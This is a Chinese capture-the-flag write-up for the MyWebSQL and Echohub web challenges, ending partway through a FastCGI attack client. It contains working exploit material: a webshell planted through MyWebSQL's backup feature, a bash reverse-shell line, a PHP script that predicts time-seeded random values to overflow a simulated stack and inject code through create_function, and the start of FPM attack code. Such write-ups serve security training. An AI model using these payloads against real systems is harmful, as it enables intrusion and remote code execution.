CTF 2019 Mywebsql Echohub WriteUp

栏目: 后端 · 前端 · 发布时间: 5年前

内容简介:很有意思的题目,研究了一下自认为感觉比较有意思的两个Web题目,记录一下过程。打开题目链接后发现运行MyWebSQL程序,版本为3.7,搜索得到相关漏洞信息:

很有意思的题目,研究了一下自认为感觉比较有意思的两个Web题目,记录一下过程。

Mywebsql

题目信息

打开题目链接后发现运行MyWebSQL程序,版本为3.7,搜索得到相关漏洞信息:

CTF 2019 Mywebsql Echohub WriteUp

http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201902-318

漏洞文档中说明漏洞利用条件为后台,尝试弱口令admin/admin登录后台成功。

创建表并添加一句话木马到表内数据,利用备份功能将该表内数据备份为.php结尾文件,成功获取Webshell(密码不添加引号,避免备份转义导致失败),地址为:

http://35.243.82.53:10080/backups/xxxx.php

连上 shell 找到flag位于根目录下,但是却没有权限直接访问,但是同目录下发现readflag文件,执行后需要输入验证码:

CTF 2019 Mywebsql Echohub WriteUp

下载程序并使用IDA进行查看:

CTF 2019 Mywebsql Echohub WriteUp

发现输出flag处使用了ualarm()函数,将使当前进程在0x3E8u(us位单位)内产生会终止当前进程的SIGALRM信号。

管道解法

在当前进程收到退出信号前,完成验证码计算并提交,获取flag,只要是考查管道。

因为时间很短,网络延迟高,因此这里攻击脚本只能在服务器上运行,以求快速。

php

php虽然是题目的默认环境但是感觉并不是特别好用。

  • 首先最常见的system,exec,没有管道,无法获取输入输出进行交互。

  • 接着就是popen,打开一个指向进程的管道,只不过它是单向的(只能用于读或写)。

  • 最后的解决方案proc_open,执行命令,并且打开用来输入/输出的文件指针。

  • 此处为追求程序的速度,不能在 php 中使用explode,preg_match等准确但损耗性能的函数,可以选取substr或更优雅的str_replace,但可能因为php本身性能偶尔还是会超时。

脚本如下:

<?php
$descriptorspec = array(
0 => array("pipe", "r"),  
1 => array("pipe", "w"), 
2 => array("file", "/tmp/error-output.txt", "a")
);

$cwd = '/tmp';
$stime=microtime(true);
$process = proc_open('/readflag 2>&1', $descriptorspec, $pipes, $cwd);


$string = stream_get_contents($pipes[1],130);
$string = str_replace('Solve the easy challenge first','',$string);
$string = str_replace('input your answer:','',$string);
$string = str_replace('\n','',$string);
$result = eval("return $rs;");
echo $result;
fwrite($pipes[0], "$result\n");

$rs = stream_get_contents($pipes[1],130);
echo $rs;
fclose($pipes[1]);

perl

这是官方解法,但是对 perl 却不太熟悉,感觉perl速度可能更快

use strict;
use IPC::Open3;

my $pid = open3( \*CHLD_IN, \*CHLD_OUT, \*CHLD_ERR, '/readflag' )
  or die "open3() failed $!";

my $r;
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";
$r = eval "$r";
print "$r\n";
print CHLD_IN "$r\n";
$r = <CHLD_OUT>;
print "$r";
$r = <CHLD_OUT>;
print "$r";

python

最开始并没有发现装有python

CTF 2019 Mywebsql Echohub WriteUp

结果是 python 3,似乎丢一个python3的执行文件上去就可执行,打算测试时服务器已经关闭,未测试

CTF 2019 Mywebsql Echohub WriteUp

信号解法

ualarm()函数通过SIGALRM信号结束进程,可以通过trap命令修改SIGALRM信号的处理方式:

比如,按Ctrl+C会使脚本终止执行,实际上系统发送了SIGINT信号给脚本进程,SIGINT信号的默认处理方式就是退出程序。如果要在Ctrl+C不退出程序,那么就得使用trap命令来指定一下SIGINT的处理方式了。

trap命令的参数分为两部分,前一部分是接收到指定信号时将要采取的行动,后一部分是要处理的信号名。

  • 首先反弹可以交互bash

  1. bash -i >& /dev/tcp/127.0.0.1/8080 0>&1

  • 重新定义SIGALRM信号的处理方式为不作任何操作

    1. trap "" 14

    Echohub

    题目信息

    官方HINT:

    CTF 2019 Mywebsql Echohub WriteUp

    CTF 2019 Mywebsql Echohub WriteUp

    表单中输入啥都会返回phpInfo,:

    CTF 2019 Mywebsql Echohub WriteUp

    查看源码发现可以添加参数获得源码?source=1

    Sandbox.php

    <?php
    $banner = <<<EOF
    <!--/?source=1-->
    <pre>
     .----------------.  .----------------.  .----------------.  .----------------.  .----------------.  .----------------.  .----------------.  
    | .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. || .--------------. | 
    | |  _________   | || |     ______   | || |  ____  ____  | || |     ____     | || |  ____  ____  | || | _____  _____ | || |   ______     | | 
    | | |_   ___  |  | || |   .' ___  |  | || | |_   ||   _| | || |   .'    `.   | || | |_   ||   _| | || ||_   _||_   _|| || |  |_   _ \    | | 
    | |   | |_  \_|  | || |  / .'   \_|  | || |   | |__| |   | || |  /  .--.  \  | || |   | |__| |   | || |  | |    | |  | || |    | |_) |   | | 
    | |   |  _|  _   | || |  | |         | || |   |  __  |   | || |  | |    | |  | || |   |  __  |   | || |  | '    ' |  | || |    |  __'.   | | 
    | |  _| |___/ |  | || |  \ `.___.'\  | || |  _| |  | |_  | || |  \  `--'  /  | || |  _| |  | |_  | || |   \ `--' /   | || |   _| |__) |  | | 
    | | |_________|  | || |   `._____.'  | || | |____||____| | || |   `.____.'   | || | |____||____| | || |    `.__.'    | || |  |_______/   | | 
    | |              | || |              | || |              | || |              | || |              | || |              | || |              | | 
    | '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' || '--------------' | 
     '----------------'  '----------------'  '----------------'  '----------------'  '----------------'  '----------------'  '----------------'  
     
     Welcome to random stack ! Try to execute `/readflag` :stuck_out_tongue:
     
     </pre>
    
     <form action="/" method="post">root > <input name="data" placeholder="input some data"></form>
    EOF;
    echo $banner;
    if(isset($_GET['source'])){
        $file = fopen("index.php","r");
        $contents = fread($file,filesize("index.php"));
        echo "---------------sourcecode---------------";
        echo base64_encode($contents);
        echo "----------------------------------------";
        fclose($file);
        //Dockerfile here
        echo "Dockerfile here"; //此处太长省略
        highlight_file(__FILE__);
    
    }
    $disable_functions = ini_get("disable_functions");
    $loadext = get_loaded_extensions();
    foreach ($loadext as $ext) {
        if(in_array($ext,array("Core","date","libxml","pcre","zlib","filter","hash","sqlite3","zip"))) continue;
        else {
            if(count(get_extension_funcs($ext)?get_extension_funcs($ext):array()) >= 1)
                $dfunc = join(',',get_extension_funcs($ext));
            else
                continue;
            $disable_functions = $disable_functions.$dfunc.",";
    
        }
    }
    $func = get_defined_functions()["internal"];
    foreach ($func as $f){
        if(stripos($f,"file") !== false || stripos($f,"open") !== false || stripos($f,"read") !== false || stripos($f,"write") !== false){
            $disable_functions = $disable_functions.$f.",";
        }
    }
    
    ini_set("disable_functions", $disable_functions);
    ini_set("open_basedir","/var/www/html/:/tmp/".md5($_SERVER['REMOTE_ADDR'])."/");

    可以得到安装的dockerfile,经过Base64解码后内容为内容为:

    FROM ubuntu:18.04
    
    RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.ustc.edu.cn/g" /etc/apt/sources.list
    RUN apt-get update
    RUN apt-get -y install software-properties-common
    RUN add-apt-repository -y ppa:ondrej/php
    RUN apt-get update
    RUN apt-get -y upgrade
    RUN apt-get -y install tzdata
    RUN apt-get -y install vim
    RUN apt-get -y install apache2
    RUN apt-cache search "php" | grep "php7.3"| awk '{print $1}'| xargs apt-get -y install
    RUN service --status-all | awk '{print $4}'| xargs -i service {} stop
    
    RUN rm /var/www/html/index.html
    COPY randomstack.php /var/www/html/index.php
    COPY sandbox.php /var/www/html/sandbox.php
    RUN chmod 755 -R /var/www/html/
    COPY flag /flag
    COPY readflag /readflag
    RUN chmod 555 /readflag
    RUN chmod u+s /readflag
    RUN chmod 500 /flag
    COPY ./run.sh /run.sh
    COPY ./php.ini /etc/php/7.3/apache2/php.ini
    RUN chmod 700 /run.sh
    
    CMD ["/run.sh"]

    安装了PHP7.3的全部拓展,并且根据HINT运行了全部安装的的服务,Webserver是apache2:

    CTF 2019 Mywebsql Echohub WriteUp

    还能发现Base64输出了index.php的源码,解码后发现代码经过mzphp2混淆,这里可以直接花钱解密O(∩_∩)O哈哈~

    index.php(Decode)

    <?php
    require_once 'sandbox.php';
    $seed = time();
    srand($seed);
    define("INS_OFFSET",rand(0x0000,0xffff));
    $regs = array(
        'eax'=>0x0,
        'ebp'=>0x0,
        'esp'=>0x0,
        'eip'=>0x0,
    );
    function aslr(&$value,$key)
    {
        $value = $value + 0x60000000 + INS_OFFSET + 1 ;
    }
    $func_ = array_flip($func);
    array_walk($func_,"aslr");
    $plt = array_flip($func_);
    function handle_data($data){
        $data_len = strlen($data);
        $bytes4_size = $data_len/4+(1*($data_len%4));
        $cut_data = str_split($data,4);
        $cut_data[$bytes4_size-1] = str_pad($cut_data[$bytes4_size-1],4,"\x00");
        foreach ($cut_data as $key=>&$value){
            $value = strrev(bin2hex($value));
        }
        return $cut_data;
    }
    function gen_canary(){
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
        $c_1 = $chars[rand(0,strlen($chars)-1)];
        $c_2 = $chars[rand(0,strlen($chars)-1)];
        $c_3 = $chars[rand(0,strlen($chars)-1)];
        $c_4 = "\x00";
        return handle_data($c_1.$c_2.$c_3.$c_4)[0];
    }
    $canary = gen_canary();
    $canarycheck = $canary;
    function check_canary(){
        global $canary;
        global $canarycheck;
        if($canary != $canarycheck){
            die("emmmmmm...Don't attack me!");
        }
    }
    Class stack{
        private $ebp,$stack,$esp;
        public function __construct($retaddr,$data) {
            $this->stack = array();
            global $regs;
            $this->ebp = &$regs['ebp'];
            $this->esp = &$regs['esp'];
            $this->ebp = 0xfffe0000 + rand(0x0000,0xffff);
            global $canary;
            $this->stack[$this->ebp - 0x4] = &$canary;
            $this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);
            $this->esp = $this->ebp - (rand(0x20,0x60)*4);
            $this->stack[$this->ebp + 0x4] = dechex($retaddr);
            if($data != NULL)
                $this->pushdata($data);
        }
        public function pushdata($data){
            $data = handle_data($data);
            for($i=0;$i<count($data);$i++){
                $this->stack[$this->esp+($i*4)] = $data[$i];//no args in my stack haha
                check_canary();
            }
        }
        public function recover_data($data){
            return hex2bin(strrev($data));
        }
        public function outputdata(){
            global $regs;
            echo "root says: ";
            while(1){
                if($this->esp == $this->ebp-0x4)
                    break;
                $this->pop("eax");
                $data = $this->recover_data($regs["eax"]);
                $tmp = explode("\x00",$data);
                echo $tmp[0];
                if(count($tmp)>1){
                    break;
                }
            }
        }
        public function ret(){
            $this->esp = $this->ebp;
            $this->pop('ebp');
            $this->pop("eip");
            $this->call();
        }
        public function get_data_from_reg($regname){
            global $regs;
            $data = $this->recover_data($regs[$regname]);
            $tmp = explode("\x00",$data);
            return $tmp[0];
        }
        public function call()
        {
            global $regs;
            global $plt;
            $funcaddr = hexdec($regs['eip']);
            if(isset($_REQUEST[$funcaddr])) {
                $this->pop('eax');
                $argnum = (int)$this->get_data_from_reg("eax");
                $args = array();
                for($i=0;$i<$argnum;$i++){
                    $this->pop('eax');
                    $argaddr = $this->get_data_from_reg("eax");
                    array_push($args,$_REQUEST[$argaddr]);
                }
                call_user_func_array($plt[$funcaddr],$args);
            }
            else
            {
                call_user_func($plt[$funcaddr]);
            }
        }
        public function push($reg){
            global $regs;
            $reg_data = $regs[$reg];
            if( hex2bin(strrev($reg_data)) == NULL ) die("data error");
            $this->stack[$this->esp] = $reg_data;
            $this->esp -= 4;
        }
        public function pop($reg){
            global $regs;
            $regs[$reg] = $this->stack[$this->esp];
            $this->esp += 4;
        }
        public function __call($_a1,$_a2)
        {
            check_canary();
        }
    }
    if(isset($_POST['data'])) {
            $phpinfo_addr = array_search('phpinfo', $plt);
            $gets = $_POST['data'];
            $main_stack = new stack($phpinfo_addr, $gets);
            echo "--------------------output---------------------</br></br>";
            $main_stack->outputdata();
            echo "</br></br>------------------phpinfo()------------------</br>";
            $main_stack->ret();
    }

    可以发现这是一个使用php实现的栈,ORZ,很有意思。

    解题

    要点梳理

    ORZ,现在梳理一下两个页面的代码逻辑:

    sandbox.php:

    • 禁用许多函数,比如函数名种包括file、open字符的函数都会被禁用。

    foreach ( $func as $f ) {
    if ( stripos( $f, "file" ) !== false || stripos( $f, "open" ) !== false || stripos( $f, "read" ) !== false || stripos( $f, "write" ) !== false ) {
       $disable_functions = $disable_functions . $f . ",";
    }
    }
    • 获取全部的内置函数名称,存在$func变量中。

    $func = get_defined_functions()["internal"];

    index.php:

    以当前时间进行随机数播种:

    $seed = time();
    srand( $seed );

    将包含全部的内置函数名称的$func转化为'地址'=>'函数名'的$plt数组,并且被aslr保护,也就是键值随机。

    define( 'INS_OFFSET', rand( 0x0, 0xffff ) );
    function aslr(&$value,$key)
    {
        $value = $value + 0x60000000 + INS_OFFSET + 1 ;
    }
    $func_ = array_flip($func);
    array_walk($func_,"aslr");
    $plt = array_flip($func_);

    栈内初始化时有canary机制,在栈内随机初始化一个$canary,用于检测栈是否遭受缓冲区溢出。

    栈内压入局部变量时会校验当前栈内的$canary是否和$canarycheck一致,若不一致就表示遭到攻击,过长的缓冲区溢出就会退出。

    function gen_canary(){
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
        $c_1 = $chars[rand(0,strlen($chars)-1)];
        $c_2 = $chars[rand(0,strlen($chars)-1)];
        $c_3 = $chars[rand(0,strlen($chars)-1)];
        $c_4 = "\x00";
        return handle_data($c_1.$c_2.$c_3.$c_4)[0];
    }
    $canary = gen_canary();
    $canarycheck = $canary;
    function check_canary(){
        global $canary;
        global $canarycheck;
        if($canary != $canarycheck){
            die("emmmmmm...Don't attack me!");
        }
    }
    Class stack{
        private $ebp,$stack,$esp;
        public function __construct($retaddr,$data) {
            $this->stack = array();
            global $regs;
            $this->ebp = &$regs['ebp'];
            $this->esp = &$regs['esp'];
            $this->ebp = 0xfffe0000 + rand(0x0000,0xffff);
            global $canary;
            $this->stack[$this->ebp - 0x4] = &$canary;
            $this->stack[$this->ebp] = $this->ebp + rand(0x0000,0xffff);
            $this->esp = $this->ebp - (rand(0x20,0x60)*4);
            $this->stack[$this->ebp + 0x4] = dechex($retaddr);
            if($data != NULL)
                $this->pushdata($data);
        }

    phpinfo的函数地址被默认放在ebp + 0x4(函数结束后eip的下一跳),去$plt映射表中找到函数名,传给call_user_func完成执行,因此正常输入都会返回phpinfo信息。

    public function call() {
       global $regs;
       global $plt;
       $a = hexdec( $regs['eip'] );
       if ( isset( $_REQUEST[ $a ] ) ) {
          $this->pop( 'eax' );
          $len  = (int) $this->get_data_from_reg( 'eax' );
          $args = array();
          for ( $i = 0; $i < $len; $i ++ ) {
             $this->pop( 'eax' );
             $data = $this->get_data_from_reg( 'eax' );
             array_push( $args, $_REQUEST[ $data ] );
          }
          call_user_func_array( $plt[ $a ], $args );
       } else {
          call_user_func( $plt[ $a ] );
       }
    }

    解决思路:

    这是一个缓冲区溢出的题目,和bin的栈溢出的思路没什么太大的区别。首先绕过aslr获取利用恶意函数地址,在绕过canary保护完成栈覆盖,控制返回地址,调用恶意函数完成代码执行。

    防护绕过

    可以发现不管是aslr还是canary都是根据随机数进行初始化,而随机数的的种子则是每次请求的时间time()。

    经过测试发现题目服务器上的时间设置和我们是一致的,服务器time()函数返回的时间和本地time()函数返回的时间一致:

    echo time() . "\n";
    function _httpPost( $url = "", $requestData = array() ) {
    	$curl = curl_init();
    	curl_setopt( $curl, CURLOPT_URL, $url );
    	curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true );
    	curl_setopt( $curl, CURLOPT_POSTFIELDS, http_build_query( $requestData ) );
    	$res = curl_exec( $curl );
    
    	//$info = curl_getinfo($ch);
    	curl_close( $curl );
    
    	return $res;
    }
    $data = array( 'data' => 'Test time' );
    $rs   = _httpPost( 'http://34.85.27.91:10080/', $data );
    echo $rs;

    随机数的种子可以获取,因此对rand函数结果产生的的随机数就可以在本地进行预测,因此aslr,canary均失效。

    直接根据源码修改得到获取webshell的EXP:

    <?php
    $disable_functions = ini_get( "disable_functions" );
    $loadext           = get_loaded_extensions();
    foreach ( $loadext as $ext ) {
    	if ( in_array( $ext, array( "Core", "date", "libxml", "pcre", "zlib", "filter", "hash", "sqlite3", "zip" ) ) ) {
    		continue;
    	} else {
    		if ( count( get_extension_funcs( $ext ) ? get_extension_funcs( $ext ) : array() ) >= 1 ) {
    			$dfunc = join( ',', get_extension_funcs( $ext ) );
    		} else {
    			continue;
    		}
    		$disable_functions = $disable_functions . $dfunc . ",";
    
    	}
    }
    $func = get_defined_functions()["internal"];
    
    $seed = time();
    srand( $seed );
    define( 'INS_OFFSET', rand( 0x0, 0xffff ) );
    $regs = array( 'eax' => 0x0, 'ebp' => 0x0, 'esp' => 0x0, 'eip' => 0x0 );
    function aslr( &$a, $O0O ) {
    	$a = $a + 0x60000000 + INS_OFFSET + 0x1;
    }
    
    //构造函数地址
    $func_ = array_flip( $func );
    array_walk( $func_, 'aslr' );
    $plt = array_flip( $func_ );
    
    
    function handle_data( $data ) {
    	$len             = strlen( $data );
    	$a               = $len / 0x4 + 0x1 * ( $len % 0x4 );
    	$ret             = str_split( $data, 0x4 );
    	$ret[ $a - 0x1 ] = str_pad( $ret[ $a - 0x1 ], 0x4, "\x00" );
    	foreach ( $ret as $key => &$value ) {
    		$value = strrev( bin2hex( $value ) );
    	}
    
    	return $ret;
    }
    
    function gen_canary() {
    	$canary = 'abcdefghijklmnopqrstuvwxyzABCDEFGHJKLMNPQEST123456789';
    	$a      = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ];
    	$b      = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ];
    	$c      = $canary[ rand( 0, strlen( $canary ) - 0x1 ) ];
    	$d      = "\x00";
    
    	return handle_data( $a . $b . $c . $d )[0];
    }
    
    $canary      = gen_canary();
    $canarycheck = $canary;
    function check_canary() {
    	global $canary;
    	global $canarycheck;
    	if ( $canary != $canarycheck ) {
    		die( 'emmmmmm...Don\'t attack me!' );
    	}
    }
    
    class stack {
    	public $ebp, $stack, $esp;
    
    	public function __construct( $a, $b ) {
    		$this->stack = array();
    		global $regs;
    		$this->ebp =& $regs['ebp'];
    		$this->esp =& $regs['esp'];
    		$this->ebp = 0xfffe0000 + rand( 0x0, 0xffff );
    		global $canary;
    		$this->stack[ $this->ebp - 0x4 ] =& $canary;
    		$this->canary                    = $canary;
    		$this->stack[ $this->ebp ]       = $this->ebp + rand( 0x0, 0xffff );
    		$this->esp                       = $this->ebp - rand( 0x20, 0x60 ) * 0x4;
    		$this->stack[ $this->ebp + 0x4 ] = dechex( $a );
    		if ( $b != null ) {
    			$this->pushdata( $b );
    		}
    	}
    
    	public function pushdata( $data ) {
    		$data_bak = $data;
    		$data     = handle_data( $data );
    		for ( $i = 0; $i < count( $data ); $i ++ ) {
    			$this->stack[ $this->esp + $i * 0x4 ] = $data[ $i ];
    			//no args in my stack haha
    			check_canary();
    		}
    	}
    
    	public function recover_data( $data ) {
    		return hex2bin( strrev( $data ) );
    	}
    
    	public function outputdata() {
    		global $regs;
    		echo 'root says: ';
    		while ( 0x1 ) {
    			if ( $this->esp == $this->ebp - 0x4 ) {
    				break;
    			}
    			$this->pop( 'eax' );
    			$data = $this->recover_data( $regs['eax'] );
    			$ret  = explode( "\x00", $data );
    			echo $ret[0];
    			if ( count( $ret ) > 0x1 ) {
    				break;
    			}
    		}
    	}
    
    	public function ret() {
    		$this->esp = $this->ebp;
    		$this->pop( 'ebp' );
    		$this->pop( 'eip' );
    		$this->call();
    	}
    
    	public function get_data_from_reg( $item ) {
    		global $regs;
    		$a = $this->recover_data( $regs[ $item ] );
    		$b = explode( "\x00", $a );
    
    		return $b[0];
    	}
    
    	public function call() {
    		global $regs;
    		global $plt;
    		$a = hexdec( $regs['eip'] );
    		if ( isset( $_REQUEST[ $a ] ) ) {
    			$this->pop( 'eax' );
    			$len  = (int) $this->get_data_from_reg( 'eax' );
    			$args = array();
    			for ( $i = 0; $i < $len; $i ++ ) {
    				$this->pop( 'eax' );
    				$data = $this->get_data_from_reg( 'eax' );
    				array_push( $args, $_REQUEST[ $data ] );
    			}
    			call_user_func_array( $plt[ $a ], $args );
    		} else {
    			call_user_func( $plt[ $a ] );
    		}
    	}
    
    	public function push( $item ) {
    		global $regs;
    		$data = $regs[ $item ];
    		if ( hex2bin( strrev( $data ) ) == null ) {
    			die( 'data error' );
    		}
    		$this->stack[ $this->esp ] = $data;
    		$this->esp                 -= 0x4;
    	}
    
    	public function pop( $item ) {
    		global $regs;
    		$regs[ $item ] = $this->stack[ $this->esp ];
    		$this->esp     += 0x4;
    	}
    
    	public function __call( $name, $args ) {
    		check_canary();
    	}
    }
    
    function hexToStr( $hex ) {
    	$str = "";
    	for ( $i = 0; $i < strlen( $hex ) - 1; $i += 2 ) {
    		$str .= chr( hexdec( $hex[ $i ] . $hex[ $i + 1 ] ) );
    	}
    
    	return $str;
    }
    
    function _httpPost( $url = "", $requestData = array() ) {
    
    	$curl = curl_init();
    	#curl_setopt( $curl, CURLOPT_PROXY, "127.0.0.1:8080" );
    	curl_setopt( $curl, CURLOPT_URL, $url );
    	curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true );
    
    	//普通数据
    	curl_setopt( $curl, CURLOPT_POSTFIELDS, http_build_query( $requestData ) );
    	$res = curl_exec( $curl );
    
    	//$info = curl_getinfo($ch);
    	curl_close( $curl );
    
    	return $res;
    }
    
    $phpinfo_addr = array_search( 'phpinfo', $plt );
    $gets         = 'Rai4over';
    $main_stack1  = new stack( $phpinfo_addr, $gets );
    $ebp          = $main_stack1->ebp;
    $esp          = $main_stack1->esp;
    $padding_num  = ( $main_stack1->ebp - $main_stack1->esp ) - 4;
    
    $shellcode                              = '$dir="./";$file=scandir($dir);print_r($file);';
    $post_data                              = array();
    $data                                   = str_repeat( 'A', $padding_num ) . hexToStr( strrev( $canarycheck ) ) . "BBBB" . hexToStr( strrev( dechex( $func_['create_function'] ) ) ) . '000266667777';
    $post_data['data']                      = $data;
    $post_data[ $func_['create_function'] ] = 'Rai4over';
    $post_data['6666']                      = '';
    $post_data['7777']                      = "'1';}" . $shellcode . "/*";
    
    $rs = _httpPost( "http://34.85.27.91:10080/", $post_data );
    echo $rs;

    CTF 2019 Mywebsql Echohub WriteUp

    本地构造栈,可以得到和服务器一样的栈结构($canarycheck,$plt等)

    CTF 2019 Mywebsql Echohub WriteUp

    栈由低地址向高地址推进,计算AAA填充长度,需要减去canary的长度(-4):

    $phpinfo_addr = array_search( 'phpinfo', $plt );
    $gets         = 'Rai4over';
    $main_stack1  = new stack( $phpinfo_addr, $gets );
    $ebp          = $main_stack1->ebp;
    $esp          = $main_stack1->esp;
    $padding_num  = ( $main_stack1->ebp - $main_stack1->esp ) - 4;

    计算并覆盖正确的canary,EBP值随意,根据call函数:

    public function call() {
    	global $regs;
    	global $plt;
    	$a = hexdec( $regs['eip'] );
    	if ( isset( $_REQUEST[ $a ] ) ) {
    		$this->pop( 'eax' );
    		$len  = (int) $this->get_data_from_reg( 'eax' );
    		$args = array();
    		for ( $i = 0; $i < $len; $i ++ ) {
    			$this->pop( 'eax' );
    			$data = $this->get_data_from_reg( 'eax' );
    			array_push( $args, $_REQUEST[ $data ] );
    		}
    		call_user_func_array( $plt[ $a ], $args );
    	} else {
    		call_user_func( $plt[ $a ] );
    	}
    }

    会调用call_user_func_array( $plt[ $a ], $args );,参数为数组,因此将ret地址覆盖为create_function函数地址,create_function可以接受数组。

    需要进入if分支,因此发送数据时需要发送包含create_function函数地址的查询参数。

    create_function函数传入的参数数量、还有参数的内容也在是通过栈内pop得到,因此我们因该继续覆盖:

    CTF 2019 Mywebsql Echohub WriteUp

    溢出缓冲区的data完整构造如下:

    $data = str_repeat( 'A', $padding_num ) . hexToStr( strrev( $canarycheck ) ) . "BBBB" . hexToStr( strrev( dechex( $func_['create_function'] ) ) ) . '000266667777';

    现在已经获得受限制的webshell。

    攻击FPM

    当前apache2载入/etc/php/7.3/apache2/php.ini配置文件的php环境禁用了执行命令的函数,但是我们可以利用受限的webshell连接没有额外安全设置的默认安装并运行的的FPM,SSRF完成命令执行。

    控制FPM还需要利用auto_prepend_file+php://input包含进行php代码执行,再使用system函数反弹shell。

    FPM攻击脚本如下:

    <?php
    
    class TimedOutException extends \Exception {
    }
    
    class ForbiddenException extends \Exception {
    }
    
    
    class Client {
    	const VERSION_1 = 1;
    	const BEGIN_REQUEST = 1;
    	const ABORT_REQUEST = 2;
    	const END_REQUEST = 3;
    	const PARAMS = 4;
    	const STDIN = 5;
    	const STDOUT = 6;
    	const STDERR = 7;
    	const DATA = 8;
    	const GET_VALUES = 9;
    	const GET_VALUES_RESULT = 10;
    	const UNKNOWN_TYPE = 11;
    	const MAXTYPE = self::UNKNOWN_TYPE;
    	const RESPONDER = 1;
    	const AUTHORIZER = 2;
    	const FILTER = 3;
    	const REQUEST_COMPLETE = 0;
    	const CANT_MPX_CONN = 1;
    	const OVERLOADED = 2;
    	const UNKNOWN_ROLE = 3;
    	const MAX_CONNS = 'MAX_CONNS';
    	const MAX_REQS = 'MAX_REQS';
    	const MPXS_CONNS = 'MPXS_CONNS';
    	const HEADER_LEN = 8;
    	const REQ_STATE_WRITTEN = 1;
    	const REQ_STATE_OK = 2;
    	const REQ_STATE_ERR = 3;
    	const REQ_STATE_TIMED_OUT = 4;
    	/**
    	 * Socket
    	 * @var Resource
    	 */
    	private $_sock = null;
    	/**
    	 * Host
    	 * @var String
    	 */
    	private $_host = null;
    	/**
    	 * Port
    	 * @var Integer
    	 */
    	private $_port = null;
    	/**
    	 * Keep Alive
    	 * @var Boolean
    	 */
    	private $_keepAlive = false;
    	/**
    	 * Outstanding request statuses keyed by request id
    	 *
    	 * Each request is an array with following form:
    	 *
    	 *  array(
    	 *    'state' => REQ_STATE_*
    	 *    'response' => null | string
    	 *  )
    	 *
    	 * @var array
    	 */
    	private $_requests = array();
    	/**
    	 * Use persistent sockets to connect to backend
    	 * @var Boolean
    	 */
    	private $_persistentSocket = false;
    	/**
    	 * Connect timeout in milliseconds
    	 * @var Integer
    	 */
    	private $_connectTimeout = 5000;
    	/**
    	 * Read/Write timeout in milliseconds
    	 * @var Integer
    	 */
    	private $_readWriteTimeout = 5000;
    
    	/**
    	 * Constructor
    	 *
    	 * @param String $host Host of the FastCGI application
    	 * @param Integer $port Port of the FastCGI application
    	 */
    	public function __construct( $host, $port ) {
    		$this->_host = $host;
    		$this->_port = $port;
    	}
    
    	/**
    	 * Define whether or not the FastCGI application should keep the connection
    	 * alive at the end of a request
    	 *
    	 * @param Boolean $b true if the connection should stay alive, false otherwise
    	 */
    	public function setKeepAlive( $b ) {
    		$this->_keepAlive = (boolean) $b;
    		if ( ! $this->_keepAlive && $this->_sock ) {
    			fclose( $this->_sock );
    		}
    	}
    
    	/**
    	 * Get the keep alive status
    	 *
    	 * @return Boolean true if the connection should stay alive, false otherwise
    	 */
    	public function getKeepAlive() {
    		return $this->_keepAlive;
    	}
    
    	/**
    	 * Define whether or not PHP should attempt to re-use sockets opened by previous
    	 * request for efficiency
    	 *
    	 * @param Boolean $b true if persistent socket should be used, false otherwise
    	 */
    	public function setPersistentSocket( $b ) {
    		$was_persistent          = ( $this->_sock && $this->_persistentSocket );
    		$this->_persistentSocket = (boolean) $b;
    		if ( ! $this->_persistentSocket && $was_persistent ) {
    			fclose( $this->_sock );
    		}
    	}
    
    	/**
    	 * Get the pesistent socket status
    	 *
    	 * @return Boolean true if the socket should be persistent, false otherwise
    	 */
    	public function getPersistentSocket() {
    		return $this->_persistentSocket;
    	}
    
    	/**
    	 * Set the connect timeout
    	 *
    	 * @param Integer  number of milliseconds before connect will timeout
    	 */
    	public function setConnectTimeout( $timeoutMs ) {
    		$this->_connectTimeout = $timeoutMs;
    	}
    
    	/**
    	 * Get the connect timeout
    	 *
    	 * @return Integer  number of milliseconds before connect will timeout
    	 */
    	public function getConnectTimeout() {
    		return $this->_connectTimeout;
    	}
    
    	/**
    	 * Set the read/write timeout
    	 *
    	 * @param Integer  number of milliseconds before read or write call will timeout
    	 */
    	public function setReadWriteTimeout( $timeoutMs ) {
    		$this->_readWriteTimeout = $timeoutMs;
    		$this->set_ms_timeout( $this->_readWriteTimeout );
    	}
    
    	/**
    	 * Get the read timeout
    	 *
    	 * @return Integer  number of milliseconds before read will timeout
    	 */
    	public function getReadWriteTimeout() {
    		return $this->_readWriteTimeout;
    	}
    
    	/**
    	 * Helper to avoid duplicating milliseconds to secs/usecs in a few places
    	 *
    	 * @param Integer millisecond timeout
    	 *
    	 * @return Boolean
    	 */
    	private function set_ms_timeout( $timeoutMs ) {
    		if ( ! $this->_sock ) {
    			return false;
    		}
    
    		return stream_set_timeout( $this->_sock, floor( $timeoutMs / 1000 ), ( $timeoutMs % 1000 ) * 1000 );
    	}
    
    	/**
    	 * Create a connection to the FastCGI application
    	 */
    	private function connect() {
    		if ( ! $this->_sock ) {
    			if ( $this->_persistentSocket ) {
    				$this->_sock = pfsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
    			} else {
    				$this->_sock = fsockopen( $this->_host, $this->_port, $errno, $errstr, $this->_connectTimeout / 1000 );
    			}
    			if ( ! $this->_sock ) {
    				throw new \Exception( 'Unable to connect to FastCGI application: ' . $errstr );
    			}
    			if ( ! $this->set_ms_timeout( $this->_readWriteTimeout ) ) {
    				throw new \Exception( 'Unable to set timeout on socket' );
    			}
    		}
    	}
    
    	/**
    	 * Build a FastCGI packet
    	 *
    	 * @param Integer $type Type of the packet
    	 * @param String $content Content of the packet
    	 * @param Integer $requestId RequestId
    	 */
    	private function buildPacket( $type, $content, $requestId = 1 ) {
    		$clen = strlen( $content );
    
    		return chr( self::VERSION_1 )         /* version */
    		       . chr( $type )                    /* type */
    		       . chr( ( $requestId >> 8 ) & 0xFF ) /* requestIdB1 */
